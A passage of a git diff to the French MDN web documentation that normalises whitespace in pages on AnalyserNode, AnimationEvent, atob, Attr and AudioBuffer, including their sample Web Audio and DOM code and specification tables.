[app.js lignes 128–205](https://github.com/mdn/voice-change-o-matic/blob/gh-pages/scripts/app.js#L128-L205)). ```js var contexteAudio = new (window.AudioContext || window.webkitAudioContext)(); @@ -78,7 +78,7 @@ dessiner(); | Spécification | Statut | Commentaire | | -------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------ | ----------- | -| {{SpecName('Web Audio API', '#widl-AnalyserNode-getFloatFrequencyData-void-Float32Array-array', 'getFloatFrequencyData()')}} | {{Spec2('Web Audio API')}} | | +| {{SpecName('Web Audio API', '#widl-AnalyserNode-getFloatFrequencyData-void-Float32Array-array', 'getFloatFrequencyData()')}} | {{Spec2('Web Audio API')}} | | ## Compatibilité navigateurs diff --git a/files/fr/web/api/analysernode/getfloattimedomaindata/index.md b/files/fr/web/api/analysernode/getfloattimedomaindata/index.md index 1388f536b1..451478a649 100644 --- a/files/fr/web/api/analysernode/getfloattimedomaindata/index.md +++ b/files/fr/web/api/analysernode/getfloattimedomaindata/index.md @@ -28,7 +28,7 @@ Un tableau {{domxref("Float32Array")}}. ## Exemple -L'exemple suivant montre comment créer simplement un `AnalyserNode` avec {{domxref("AudioContext")}}, puis utiliser {{domxref("window.requestAnimationFrame()","requestAnimationFrame")}} et {{htmlelement("canvas")}} pour collecter les données temporelles et dessiner un oscilloscope en sortie. Pour des exemples plus complets, voir notre démo [Voice-change-O-matic](http://mdn.github.io/voice-change-o-matic/) (et en particulier [app.js lignes 128–205](https://github.com/mdn/voice-change-o-matic/blob/gh-pages/scripts/app.js#L128-L205)). +L'exemple suivant montre comment créer simplement un `AnalyserNode` avec {{domxref("AudioContext")}}, puis utiliser {{domxref("window.requestAnimationFrame()","requestAnimationFrame")}} et {{htmlelement("canvas")}} pour collecter les données temporelles et dessiner un oscilloscope en sortie. Pour des exemples plus complets, voir notre démo [Voice-change-O-matic](http://mdn.github.io/voice-change-o-matic/) (et en particulier [app.js lignes 128–205](https://github.com/mdn/voice-change-o-matic/blob/gh-pages/scripts/app.js#L128-L205)). ```js var contexteAudio = new (window.AudioContext || window.webkitAudioContext)(); @@ -86,7 +86,7 @@ dessiner(); | Spécification | Statut | Commentaire | | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | ------------------------------------ | ----------- | -| {{SpecName('Web Audio API', '#widl-AnalyserNode-getFloatTimeDomainData-void-Float32Array-array', 'getFloatTimeDomainData()')}} | {{Spec2('Web Audio API')}} | | +| {{SpecName('Web Audio API', '#widl-AnalyserNode-getFloatTimeDomainData-void-Float32Array-array', 'getFloatTimeDomainData()')}} | {{Spec2('Web Audio API')}} | | ## Compatibilité navigateurs diff --git a/files/fr/web/api/analysernode/index.md b/files/fr/web/api/analysernode/index.md index efe440936e..116f1d5cca 100644 --- a/files/fr/web/api/analysernode/index.md +++ b/files/fr/web/api/analysernode/index.md @@ -89,7 +89,7 @@ _Hérite des propriétés de son parent,_ _{{domxref("AudioNode")}}_. > **Note :** Voir [Visualisations avec la Web Audio API](/fr/docs/Web/API/Web_Audio_API/Visualizations_with_Web_Audio_API) pour plus d'informations. -L'exemple suivant montre comment créer simplement un `AnalyserNode` avec {{domxref("AudioContext")}}, puis utiliser {{domxref("window.requestAnimationFrame()","requestAnimationFrame")}} et {{htmlelement("canvas")}} pour collecter les données temporelles et dessiner un oscilloscope en sortie. Pour des exemples plus complets, voir notre démo [Voice-change-O-matic](https://mdn.github.io/voice-change-o-matic/) (et en particulier [app.js lines 128–205](https://github.com/mdn/voice-change-o-matic/blob/gh-pages/scripts/app.js#L128-L205)). +L'exemple suivant montre comment créer simplement un `AnalyserNode` avec {{domxref("AudioContext")}}, puis utiliser {{domxref("window.requestAnimationFrame()","requestAnimationFrame")}} et {{htmlelement("canvas")}} pour collecter les données temporelles et dessiner un oscilloscope en sortie. Pour des exemples plus complets, voir notre démo [Voice-change-O-matic](https://mdn.github.io/voice-change-o-matic/) (et en particulier [app.js lines 128–205](https://github.com/mdn/voice-change-o-matic/blob/gh-pages/scripts/app.js#L128-L205)). ```js var contexteAudio = new (window.AudioContext || window.webkitAudioContext)(); @@ -148,7 +148,7 @@ function dessiner() { | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------------------- | ------------------------------------ | ------------ | -| {{SpecName('Web Audio API', '#the-analysernode-interface', 'AnalyserNode')}} | {{Spec2('Web Audio API')}} | | +| {{SpecName('Web Audio API', '#the-analysernode-interface', 'AnalyserNode')}} | {{Spec2('Web Audio API')}} | | ## Compatibilité navigateurs diff --git a/files/fr/web/api/analysernode/maxdecibels/index.md b/files/fr/web/api/analysernode/maxdecibels/index.md index 8273d1f001..646242d1de 100644 --- a/files/fr/web/api/analysernode/maxdecibels/index.md +++ b/files/fr/web/api/analysernode/maxdecibels/index.md @@ -5,7 +5,7 @@ translation_of: Web/API/AnalyserNode/maxDecibels --- {{ APIRef("Web Audio API") }} -La propriété **`maxDecibels`** de l'objet {{ domxref("AnalyserNode") }} est un nombre flottant à double précision représentant la puissance maximum de l'intervalle pour l'analyse des données FFT, pour une conversion vers des valeurs non signées ou des nombres flottants — en d'autres termes, elle spécifie la valeur maximum pour l'intervalle de résultats des méthodes `getFloatFrequencyData()` et `getByteFrequencyData()`. +La propriété **`maxDecibels`** de l'objet {{ domxref("AnalyserNode") }} est un nombre flottant à double précision représentant la puissance maximum de l'intervalle pour l'analyse des données FFT, pour une conversion vers des valeurs non signées ou des nombres flottants — en d'autres termes, elle spécifie la valeur maximum pour l'intervalle de résultats des méthodes `getFloatFrequencyData()` et `getByteFrequencyData()`. Sa valeur par défaut est `-30`. @@ -25,7 +25,7 @@ Un nombre flottant à double précision. ## Exemple -L'exemple suivant montre comment créer simplement un `AnalyserNode` avec {{domxref("AudioContext")}}, puis utiliser {{domxref("window.requestAnimationFrame()","requestAnimationFrame")}} et {{htmlelement("canvas")}} pour collecter les données temporelles et dessiner un oscilloscope en sortie. Pour des exemples plus complets, voir notre démo [Voice-change-O-matic](http://mdn.github.io/voice-change-o-matic/) (et en particulier [app.js lignes 128–205](https://github.com/mdn/voice-change-o-matic/blob/gh-pages/scripts/app.js#L128-L205)). +L'exemple suivant montre comment créer simplement un `AnalyserNode` avec {{domxref("AudioContext")}}, puis utiliser {{domxref("window.requestAnimationFrame()","requestAnimationFrame")}} et {{htmlelement("canvas")}} pour collecter les données temporelles et dessiner un oscilloscope en sortie. Pour des exemples plus complets, voir notre démo [Voice-change-O-matic](http://mdn.github.io/voice-change-o-matic/) (et en particulier [app.js lignes 128–205](https://github.com/mdn/voice-change-o-matic/blob/gh-pages/scripts/app.js#L128-L205)). ```js var contexteAudio = new (window.AudioContext || window.webkitAudioContext)(); @@ -43,25 +43,25 @@ var tableauDonnees = new Uint8Array(tailleMemoireTampon); contexteCanvas.clearRect(0, 0, LARGEUR, HAUTEUR); function dessiner() { - dessin = requestAnimationFrame(dessiner); + dessin = requestAnimationFrame(dessiner); - analyseur.getByteFrequencyData(tableauDonnees); + analyseur.getByteFrequencyData(tableauDonnees); - contexteCanvas.fillStyle = 'rgb(0, 0, 0)'; - contexteCanvas.fillRect(0, 0, LARGEUR, HAUTEUR); + contexteCanvas.fillStyle = 'rgb(0, 0, 0)'; + contexteCanvas.fillRect(0, 0, LARGEUR, HAUTEUR); - var largeurBarre = (LARGEUR / tailleMemoireTampon) * 2.5; - var hauteurBarre; - var x = 0; + var largeurBarre = (LARGEUR / tailleMemoireTampon) * 2.5; + var hauteurBarre; + var x = 0; - for(var i = 0; i < tailleMemoireTampon; i++) { - hauteurBarre = tableauDonnees[i]; - - contexteCanvas.fillStyle = 'rgb(' + (hauteurBarre+100) + ',50,50)'; - contexteCanvas.fillRect(x,HEIGHT-hauteurBarre/2,largeurBarre,hauteurBarre/2); - - x += largeurBarre + 1; - } + for(var i = 0; i < tailleMemoireTampon; i++) { + hauteurBarre = tableauDonnees[i]; + + contexteCanvas.fillStyle = 'rgb(' + (hauteurBarre+100) + ',50,50)'; + contexteCanvas.fillRect(x,HEIGHT-hauteurBarre/2,largeurBarre,hauteurBarre/2); + + x += largeurBarre + 1; + } }; dessiner(); @@ -71,7 +71,7 @@ dessiner(); | Spécification | Statut | Commentaire | | -------------------------------------------------------------------------------------------------------- | ------------------------------------ | ----------- | -| {{SpecName('Web Audio API', '#widl-AnalyserNode-maxDecibels', 'maxDecibels')}} | {{Spec2('Web Audio API')}} | | +| {{SpecName('Web Audio API', '#widl-AnalyserNode-maxDecibels', 'maxDecibels')}} | {{Spec2('Web Audio API')}} | | ## Compatibilité navigateurs diff --git a/files/fr/web/api/analysernode/mindecibels/index.md b/files/fr/web/api/analysernode/mindecibels/index.md index 82ff0bcbe6..170049e2bc 100644 --- a/files/fr/web/api/analysernode/mindecibels/index.md +++ b/files/fr/web/api/analysernode/mindecibels/index.md @@ -26,7 +26,7 @@ Un nombre flottant à double précision. ## Exemple -L'exemple suivant montre comment créer simplement un `AnalyserNode` avec {{domxref("AudioContext")}}, puis utiliser {{domxref("window.requestAnimationFrame()","requestAnimationFrame")}} et {{htmlelement("canvas")}} pour collecter les données temporelles et dessiner un oscilloscope en sortie. Pour des exemples plus complets, voir notre démo [Voice-change-O-matic](http://mdn.github.io/voice-change-o-matic/) (et en particulier [app.js lines 128–205](https://github.com/mdn/voice-change-o-matic/blob/gh-pages/scripts/app.js#L128-L205)). +L'exemple suivant montre comment créer simplement un `AnalyserNode` avec {{domxref("AudioContext")}}, puis utiliser {{domxref("window.requestAnimationFrame()","requestAnimationFrame")}} et {{htmlelement("canvas")}} pour collecter les données temporelles et dessiner un oscilloscope en sortie. Pour des exemples plus complets, voir notre démo [Voice-change-O-matic](http://mdn.github.io/voice-change-o-matic/) (et en particulier [app.js lines 128–205](https://github.com/mdn/voice-change-o-matic/blob/gh-pages/scripts/app.js#L128-L205)). ```js var contexteAudio = new (window.AudioContext || window.webkitAudioContext)(); @@ -44,25 +44,25 @@ var tableauDonnees = new Uint8Array(tailleMemoireTampon); contexteCanvas.clearRect(0, 0, LARGEUR, HAUTEUR); function dessiner() { - dessin = requestAnimationFrame(dessiner); + dessin = requestAnimationFrame(dessiner); - analyseur.getByteFrequencyData(tableauDonnees); + analyseur.getByteFrequencyData(tableauDonnees); - contexteCanvas.fillStyle = 'rgb(0, 0, 0)'; - contexteCanvas.fillRect(0, 0, LARGEUR, HAUTEUR); + contexteCanvas.fillStyle = 'rgb(0, 0, 0)'; + contexteCanvas.fillRect(0, 0, LARGEUR, HAUTEUR); - var largeurBarre = (LARGEUR / tailleMemoireTampon) * 2.5; - var hauteurBarre; - var x = 0; + var largeurBarre = (LARGEUR / tailleMemoireTampon) * 2.5; + var hauteurBarre; + var x = 0; - for(var i = 0; i < tailleMemoireTampon; i++) { - hauteurBarre = tableauDonnees[i]; - - canvasCtx.fillStyle = 'rgb(' + (hauteurBarre+100) + ',50,50)'; - canvasCtx.fillRect(x,HEIGHT-hauteurBarre/2,largeurBarre,hauteurBarre/2); - - x += largeurBarre + 1; - } + for(var i = 0; i < tailleMemoireTampon; i++) { + hauteurBarre = tableauDonnees[i]; + + canvasCtx.fillStyle = 'rgb(' + (hauteurBarre+100) + ',50,50)'; + canvasCtx.fillRect(x,HEIGHT-hauteurBarre/2,largeurBarre,hauteurBarre/2); + + x += largeurBarre + 1; + } }; dessiner(); diff --git a/files/fr/web/api/analysernode/smoothingtimeconstant/index.md b/files/fr/web/api/analysernode/smoothingtimeconstant/index.md index 627d35e4b5..ab59d2fcc2 100644 --- a/files/fr/web/api/analysernode/smoothingtimeconstant/index.md +++ b/files/fr/web/api/analysernode/smoothingtimeconstant/index.md @@ -27,7 +27,7 @@ Un nombre flottant à double précision. ## Exemple -L'exemple suivant montre comment créer simplement un `AnalyserNode` avec {{domxref("AudioContext")}}, puis utiliser {{domxref("window.requestAnimationFrame()","requestAnimationFrame")}} et {{htmlelement("canvas")}} pour collecter les données temporelles et dessiner un oscilloscope en sortie. Pour des exemples plus complets, voir notre démo [Voice-change-O-matic](http://mdn.github.io/voice-change-o-matic/) (et en particulier [app.js lines 128–205](https://github.com/mdn/voice-change-o-matic/blob/gh-pages/scripts/app.js#L128-L205)). +L'exemple suivant montre comment créer simplement un `AnalyserNode` avec {{domxref("AudioContext")}}, puis utiliser {{domxref("window.requestAnimationFrame()","requestAnimationFrame")}} et {{htmlelement("canvas")}} pour collecter les données temporelles et dessiner un oscilloscope en sortie. Pour des exemples plus complets, voir notre démo [Voice-change-O-matic](http://mdn.github.io/voice-change-o-matic/) (et en particulier [app.js lines 128–205](https://github.com/mdn/voice-change-o-matic/blob/gh-pages/scripts/app.js#L128-L205)). `Si vou sêtes curieux du fonctionnement de smoothingTimeConstant()`, essayez de cloner l'exemple ci-dessous et d'affecter : `analyser.smoothingTimeConstant = 0;`. Vous verrez que les changements de valeur sont bien plus discordants. @@ -48,25 +48,25 @@ var tableauDonnees = new Uint8Array(tailleMemoireTampon); contexteCanvas.clearRect(0, 0, LARGEUR, HAUTEUR); function dessiner() { - dessin = requestAnimationFrame(dessiner); + dessin = requestAnimationFrame(dessiner); - analyseur.getByteFrequencyData(tableauDonnees); + analyseur.getByteFrequencyData(tableauDonnees); - contexteCanvas.fillStyle = 'rgb(0, 0, 0)'; - contexteCanvas.fillRect(0, 0, LARGEUR, HAUTEUR); + contexteCanvas.fillStyle = 'rgb(0, 0, 0)'; + contexteCanvas.fillRect(0, 0, LARGEUR, HAUTEUR); - var largeurBarre = (LARGEUR / tailleMemoireTampon) * 2.5; - var hauteurBarre; - var x = 0; + var largeurBarre = (LARGEUR / tailleMemoireTampon) * 2.5; + var hauteurBarre; + var x = 0; - for(var i = 0; i < tailleMemoireTampon; i++) { - hauteurBarre = tableauDonnees[i]; - - contexteCanvas.fillStyle = 'rgb(' + (hauteurBarre+100) + ',50,50)'; - contexteCanvas.fillRect(x, HAUTEUR-hauteurBarre/2, largeurBarre, hauteurBarre/2); - - x += largeurBarre + 1; - } + for(var i = 0; i < tailleMemoireTampon; i++) { + hauteurBarre = tableauDonnees[i]; + + contexteCanvas.fillStyle = 'rgb(' + (hauteurBarre+100) + ',50,50)'; + contexteCanvas.fillRect(x, HAUTEUR-hauteurBarre/2, largeurBarre, hauteurBarre/2); + + x += largeurBarre + 1; + } }; dessiner(); @@ -76,7 +76,7 @@ dessiner(); | Spécification | Statut | Commentaire | | ------------------------------------------------------------------------------------------------------------------------------------ | ------------------------------------ | ----------- | -| {{SpecName('Web Audio API', '#widl-AnalyserNode-smoothingTimeConstant', 'smoothingTimeConstant')}} | {{Spec2('Web Audio API')}} | | +| {{SpecName('Web Audio API', '#widl-AnalyserNode-smoothingTimeConstant', 'smoothingTimeConstant')}} | {{Spec2('Web Audio API')}} | | ## Compatibilité navigateurs diff --git a/files/fr/web/api/animationevent/animationevent/index.md b/files/fr/web/api/animationevent/animationevent/index.md index b10f31a267..a605ca2cab 100644 --- a/files/fr/web/api/animationevent/animationevent/index.md +++ b/files/fr/web/api/animationevent/animationevent/index.md @@ -20,7 +20,7 @@ Le constructeur **`AnimationEvent()`** retourne un nouvel {{domxref("AnimationEv - `type` - : Un {{domxref("DOMString")}} représentant le nom du type de `AnimationEvent`. Il est sensible à la casse (majuscule-minuscule) et peut être: `'animationstart'`, `'animationend'`, or `'animationiteration'`. - `animationName` {{optional_inline}} - - : Un {{domxref("DOMString")}} contenant la valeur de la propriété associée avec la transition.{{cssxref("animation-name")}} . Prend par défaut `""`. + - : Un {{domxref("DOMString")}} contenant la valeur de la propriété associée avec la transition.{{cssxref("animation-name")}} . Prend par défaut `""`. - `elapsedTime` {{optional_inline}} - : Un `float` donne le montant de temps d'une application qui a fonctionné, en secondes, quand l'évènement est déclenché, excluant le temps de pause des animations. Pour un évènement `animationstart`, `elapsedTime` est de `0.0` jusqu'à ce qu'il y ait une valeur négative pour une valeur [`animation-delay`](/fr/docs/Web/CSS/animation-delay), dans le cas où l'évènement est déclenché par `elapsedTime` contenant `(-1 * délai)`. Sa valeur par défaut vaut `0.0`. - `pseudoElement` {{optional_inline}} diff --git a/files/fr/web/api/atob/index.md b/files/fr/web/api/atob/index.md index d99df91aed..93237800b6 100644 --- a/files/fr/web/api/atob/index.md +++ b/files/fr/web/api/atob/index.md @@ -13,7 +13,7 @@ original_slug: Web/API/WindowOrWorkerGlobalScope/atob {{APIRef ("HTML DOM")}} La fonction `WindowOrWorkerGlobalScope.atob()` décode une chaîne de données qui a été codée en utilisant le codage en base 64. Vous pouvez utiliser la méthode {{domxref("WindowOrWorkerGlobalScope.btoa","btoa()")}} pour encoder et transmettre des données qui pourraient causer des problèmes de communication, puis les transmettre et utiliser la méthode atob() pour décoder les données . Par exemple, vous pouvez coder, transmettre et décoder des caractères de contrôle tels que les valeurs ASCII 0 à 31. -Pour une utilisation avec des chaînes Unicode ou UTF-8, voir [cette note sur l'encodage et le décodage Base64](/fr/docs/D%C3%A9coder_encoder_en_base64) et [cette note sur btoa()](/fr-FR/docs/Web/API/window.btoa#Unicode_Strings). +Pour une utilisation avec des chaînes Unicode ou UTF-8, voir [cette note sur l'encodage et le décodage Base64](/fr/docs/D%C3%A9coder_encoder_en_base64) et [cette note sur btoa()](/fr-FR/docs/Web/API/window.btoa#Unicode_Strings). ## Syntaxe @@ -32,10 +32,10 @@ Déclenche une {{jsxref("DOMException")}} si la longueur de la chaîne passée e | Spécification | Statut | Commentaire | | ------------------------------------------------------------------------------------------------------------------------ | -------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------- | -| {{SpecName('HTML WHATWG', 'webappapis.html#dom-btoa', 'WindowOrWorkerGlobalScope.atob()')}} | {{Spec2('HTML WHATWG')}} | Méthode déplacée dans le mixin `WindowOrWorkerGlobalScope` dans la spéc la plus récente. | +| {{SpecName('HTML WHATWG', 'webappapis.html#dom-btoa', 'WindowOrWorkerGlobalScope.atob()')}} | {{Spec2('HTML WHATWG')}} | Méthode déplacée dans le mixin `WindowOrWorkerGlobalScope` dans la spéc la plus récente. | | {{SpecName('HTML WHATWG', '#dom-windowbase64-atob', 'WindowBase64.atob()')}} | {{Spec2('HTML WHATWG')}} | Pas de changement depuis l'instantané le plus récent {{SpecName("HTML5.1")}}. | | {{SpecName('HTML5.1', '#dom-windowbase64-atob', 'WindowBase64.atob()')}} | {{Spec2('HTML5.1')}} | Instantané de {{SpecName("HTML WHATWG")}}. Pas de changement. | -| {{SpecName("HTML5 W3C", "#dom-windowbase64-atob", "WindowBase64.atob()")}} | {{Spec2('HTML5 W3C')}} | Instantané de {{SpecName("HTML WHATWG")}}. Création de `WindowBase64` (les propriétés se trouvaient sur la cible avant cela). | +| {{SpecName("HTML5 W3C", "#dom-windowbase64-atob", "WindowBase64.atob()")}} | {{Spec2('HTML5 W3C')}} | Instantané de {{SpecName("HTML WHATWG")}}. Création de `WindowBase64` (les propriétés se trouvaient sur la cible avant cela). | ## Compatibilité des navigateurs @@ -44,6 +44,6 @@ Déclenche une {{jsxref("DOMException")}} si la longueur de la chaîne passée e ## Voir aussi - [Base64 encoding and decoding](/Web/API/WindowBase64/Base64_encoding_and_decoding) -- [Les URL de `données`](/fr/docs/Web/HTTP/Basics_of_HTTP/Data_URIs) +- [Les URL de `données`](/fr/docs/Web/HTTP/Basics_of_HTTP/Data_URIs) - {{domxref("WindowOrWorkerGlobalScope.btoa","window.btoa()")}} - [Components.utils.importGlobalProperties](/fr-FR/docs/Components.utils.importGlobalProperties) diff --git a/files/fr/web/api/attr/index.md b/files/fr/web/api/attr/index.md index 18a5761fb2..fe4217cc98 100644 --- a/files/fr/web/api/attr/index.md +++ b/files/fr/web/api/attr/index.md @@ -9,7 +9,7 @@ translation_of: Web/API/Attr --- {{APIRef("DOM")}} -Ce type représente un attribut d'un élément DOM comme un objet. Dans la plupart des méthodes DOM, vous auriez probablement récupéré l'attribut directement comme une chaîne (par exemple, {{domxref ("element.getAttribute()")}}, mais certaines fonctions (par exemple, {{domxref ("element.getAttributeNode()" )}}) ou des moyens d'itération donnent des types Attr. +Ce type représente un attribut d'un élément DOM comme un objet. Dans la plupart des méthodes DOM, vous auriez probablement récupéré l'attribut directement comme une chaîne (par exemple, {{domxref ("element.getAttribute()")}}, mais certaines fonctions (par exemple, {{domxref ("element.getAttributeNode()" )}}) ou des moyens d'itération donnent des types Attr. > **Attention :** À partir de Gecko 7.0 {{geckoRelease ("7.0")}}, ceux qui vont être retirés afficheront des messages d'avertissement dans la console. Vous devriez modifier votre code en conséquence. Voir {{anch("Propriétés et méthodes dépréciées")}} pour une liste complète. @@ -27,7 +27,7 @@ Ce type représente un attribut d'un élément DOM comme un objet. Dans la plupa - : L'élément contenant l'attribut. > **Note :** DOM Niveau 4 a supprimé cette propriété . L'hypothèse était que puisque nous obtenons un objet Attr d'un {{domxref("Element")}}, nous devrions déjà connaître les éléments associés. -> Comme cela n'est pas vrai quand les objets `Attr` sont retournés par {{domxref("Document.evaluate")}}, le DOM Living Standard a réintroduit la propriété. +> Comme cela n'est pas vrai quand les objets `Attr` sont retournés par {{domxref("Document.evaluate")}}, le DOM Living Standard a réintroduit la propriété. > > Gecko affiche une note de dépréciation à partir de Gecko 7.0 {{geckoRelease("7.0")}}. Cette note a été supprimée dans Gecko 49.0 {{geckoRelease("49.0")}}. @@ -47,11 +47,11 @@ Les propriétés suivantes ont été dépréciées. Si elle est disponible, la m - `attributes` - : Cette propriété retourne désormais toujours `NULL`. - `childNodes` {{deprecated_inline}} - - : Cette propriété retourne désormais toujours `un` {{domxref("NodeList")}} vide. + - : Cette propriété retourne désormais toujours `un` {{domxref("NodeList")}} vide. - `firstChild` {{deprecated_inline}} - : Cette propriété retourne désormais toujours `NULL`. - `isId` {{readOnlyInline}} - - : Indique si l'attribut est un "attribut ID". Un "attribut ID" étant un attribut dont la valeur devrait être unique dans un document DOM. En HTML DOM, "id" est le seul attribut ID, mais les documents XML peuvent en définir d'autres. Qu'un attribut soit unique ou non est souvent déterminé par un {{Glossary("DTD")}} ou une autre description de schéma. + - : Indique si l'attribut est un "attribut ID". Un "attribut ID" étant un attribut dont la valeur devrait être unique dans un document DOM. En HTML DOM, "id" est le seul attribut ID, mais les documents XML peuvent en définir d'autres. Qu'un attribut soit unique ou non est souvent déterminé par un {{Glossary("DTD")}} ou une autre description de schéma. - `lastChild` {{deprecated_inline}} - : Cette propriété retourne désormais toujours `NULL`. - `nextSibling` diff --git a/files/fr/web/api/attr/localname/index.md b/files/fr/web/api/attr/localname/index.md index a2f6f2e717..c5822f88a8 100644 --- a/files/fr/web/api/attr/localname/index.md +++ b/files/fr/web/api/attr/localname/index.md @@ -24,7 +24,7 @@ Une {{domxref("DOMString")}} _(chaîne de caractères)_ qui représente la parti ## Exemple -Cet exemple affiche "id" dans une fenêtre d'alerte. +Cet exemple affiche "id" dans une fenêtre d'alerte. ### Contenu HTML @@ -37,8 +37,8 @@ Cet exemple affiche "id" dans une fenêtre d'alerte. ```js const element = document.querySelector("#exemple"); element.addEventListener("click", function() { - const attribute = element.attributes[0]; - alert(attribute.localName); + const attribute = element.attributes[0]; + alert(attribute.localName); }); ``` @@ -48,7 +48,7 @@ element.addEventListener("click", function() { Le nom local d'un attribut est la partie du nom qualifié de cet attribut avant les deux points. les noms qualifiés sont utilisés en XML, dans les espaces de nom de certains documents. -> **Note :** dans {{Gecko("1.9.2")}} et avant, cette propriété renvoie le nom en majuscule pour les attributs HTML du DOM HTML (contrairement aux atttributs XHTML ). Dans les versions plus récentes, en accord avec HTML5, cette propriété renvoie la casse correspondante au DOM utilisé, c'est-à-dire en minuscule pour les attributs du DOM XHTMl et du DOM HTML. +> **Note :** dans {{Gecko("1.9.2")}} et avant, cette propriété renvoie le nom en majuscule pour les attributs HTML du DOM HTML (contrairement aux atttributs XHTML ). Dans les versions plus récentes, en accord avec HTML5, cette propriété renvoie la casse correspondante au DOM utilisé, c'est-à-dire en minuscule pour les attributs du DOM XHTMl et du DOM HTML. ## Spécifications diff --git a/files/fr/web/api/attr/namespaceuri/index.md b/files/fr/web/api/attr/namespaceuri/index.md index a8d555f0d8..fc2f9b613f 100644 --- a/files/fr/web/api/attr/namespaceuri/index.md +++ b/files/fr/web/api/attr/namespaceuri/index.md @@ -10,7 +10,7 @@ translation_of: Web/API/Attr/namespaceURI --- {{APIRef("DOM")}} -La propriété en lecture seule **`Attr.namespaceURI`** retourne l'URI d'espace de nom de l'attribut, ou `null` si l'élément n'est pas dans un espace de noms. +La propriété en lecture seule **`Attr.namespaceURI`** retourne l'URI d'espace de nom de l'attribut, ou `null` si l'élément n'est pas dans un espace de noms. > **Note :** Avant DOM4 cet API était défini dans l'interface {{domxref("Node")}}. diff --git a/files/fr/web/api/attr/prefix/index.md b/files/fr/web/api/attr/prefix/index.md index 1d03f31444..c992a8a6c3 100644 --- a/files/fr/web/api/attr/prefix/index.md +++ b/files/fr/web/api/attr/prefix/index.md @@ -20,7 +20,7 @@ La propriété **`Attr.prefix`** en lecture seule renvoie le préfixe de l'espac ## Exemples -Le code suivant affiche "x" dans la console. +Le code suivant affiche "x" dans la console. ```xml <div x:id="example" onclick="console.log(this.attributes[0].prefix)"/> @@ -40,7 +40,7 @@ Cela ne fonctionnera que lorsqu'un analyseur conscient de l'espace de noms est u {{Compat("api.Attr.prefix")}} -## Voir également +## Voir également - {{domxref("Attr.namespaceURI")}} - {{domxref("Attr.localName")}} diff --git a/files/fr/web/api/audiobuffer/audiobuffer/index.md b/files/fr/web/api/audiobuffer/audiobuffer/index.md index cb565da1f0..b0fbd82bf6 100644 --- a/files/fr/web/api/audiobuffer/audiobuffer/index.md +++ b/files/fr/web/api/audiobuffer/audiobuffer/index.md @@ -14,13 +14,13 @@ Le constructeur **`AudioBuffer`** créer un nouvel objet {{domxref("AudioBuffer" ### Parameters -- *context* {{obsolete_inline("")}} +- *context* {{obsolete_inline("")}} - : Référence à un {{domxref("AudioContext")}}. Ce paramètre a été supprimer de la specification. Consultez la section Compatibilité du navigateur pour plus de détails. - _options_ {{optional_inline}} - : Les options sont les suivantes: - - `length`: Longueur de l'échantillonnage du tampon. + - `length`: Longueur de l'échantillonnage du tampon. - `numberOfChannels`: Nombre de cannaux du buffer. La valeur par défaut est 1. - `sampleRate`: Taux d'échantillonnage du buffer en Hz. La valeur par défaut est le taux d'échantillonnage du `context` utilisé dans la construction de cet objet diff --git a/files/fr/web/api/audiobuffer/copyfromchannel/index.md b/files/fr/web/api/audiobuffer/copyfromchannel/index.md index e1f8192f4e..30a1e1460d 100644 --- a/files/fr/web/api/audiobuffer/copyfromchannel/index.md +++ b/files/fr/web/api/audiobuffer/copyfromchannel/index.md @@ -21,9 +21,9 @@ La méthode `copyFromChannel()` de l'interface [`AudioBuffer`](/fr/docs/Web/API/ - _destination_ - : Un tableau {{domxref("Float32Array")}} dans lequel copier les données. - _channelNumber_ - - : Le numéro du canal de l'AudioBuffer depuis lequel copier les données. Si *channelNumber* est supérieur ou égal à {{domxref("AudioBuffer.numberOfChannels")}}, une exception `INDEX_SIZE_ERR est` levée. + - : Le numéro du canal de l'AudioBuffer depuis lequel copier les données. Si *channelNumber* est supérieur ou égal à {{domxref("AudioBuffer.numberOfChannels")}}, une exception `INDEX_SIZE_ERR est` levée. - _startInChannel_ {{optional_inline}} - - : Un offset optionnel à partir duquel copier les données. Si la valeur de *startInChannel* est supérieure à {{domxref("AudioBuffer.length")}}, une exception `INDEX_SIZE_ERR` est levée. + - : Un offset optionnel à partir duquel copier les données. Si la valeur de *startInChannel* est supérieure à {{domxref("AudioBuffer.length")}}, une exception `INDEX_SIZE_ERR` est levée. ## Exemple @@ -37,7 +37,7 @@ tableauDonnees.copyFromChannel(autreTableau,1,0); | Spécification | Statut | Commentaire | | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | ------------------------------------ | ----------- | -| {{SpecName('Web Audio API', '#widl-AudioBuffer-copyFromChannel-void-Float32Array-destination-long-channelNumber-unsigned-long-startInChannel', 'copyFromChannel')}} | {{Spec2('Web Audio API')}} | | +| {{SpecName('Web Audio API', '#widl-AudioBuffer-copyFromChannel-void-Float32Array-destination-long-channelNumber-unsigned-long-startInChannel', 'copyFromChannel')}} | {{Spec2('Web Audio API')}} | | ## Compatibilité navigateurs diff --git a/files/fr/web/api/audiobuffer/copytochannel/index.md b/files/fr/web/api/audiobuffer/copytochannel/index.md index f79f773a66..d286ff6953 100644 --- a/files/fr/web/api/audiobuffer/copytochannel/index.md +++ b/files/fr/web/api/audiobuffer/copytochannel/index.md @@ -16,9 +16,9 @@ La méthode `copyToChannel()` de l'interface [`AudioBuffer`](/fr/docs/Web/API/Au - _source_ - : Le tableau {{jsxref("Float32Array")}} depuis lequel copier les données. - _channelNumber_ - - : Le numéro du canal de l'{{domxref("AudioBuffer")}} dans lequel copier les données. Si *channelNumber* est supérieur ou égal à {{domxref("AudioBuffer.numberOfChannels")}}, une exception `INDEX_SIZE_ERR est` levée. + - : Le numéro du canal de l'{{domxref("AudioBuffer")}} dans lequel copier les données. Si *channelNumber* est supérieur ou égal à {{domxref("AudioBuffer.numberOfChannels")}}, une exception `INDEX_SIZE_ERR est` levée. - _startInChannel {{optional_inline}}_ - - : Un offset optionnel à partir duquel copier les données. Si la valeur de *startInChannel* est supérieure à {{domxref("AudioBuffer.length")}}, une exception `INDEX_SIZE_ERR` est levée. + - : Un offset optionnel à partir duquel copier les données. Si la valeur de *startInChannel* est supérieure à {{domxref("AudioBuffer.length")}}, une exception `INDEX_SIZE_ERR` est levée. ## Exemple @@ -35,7 +35,7 @@ tableauDonnees.copyToChannel (autreTableau,0,0); | Spécification | Statut | Commentaire | | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | ------------------------------------ | ----------- | -| {{SpecName('Web Audio API', 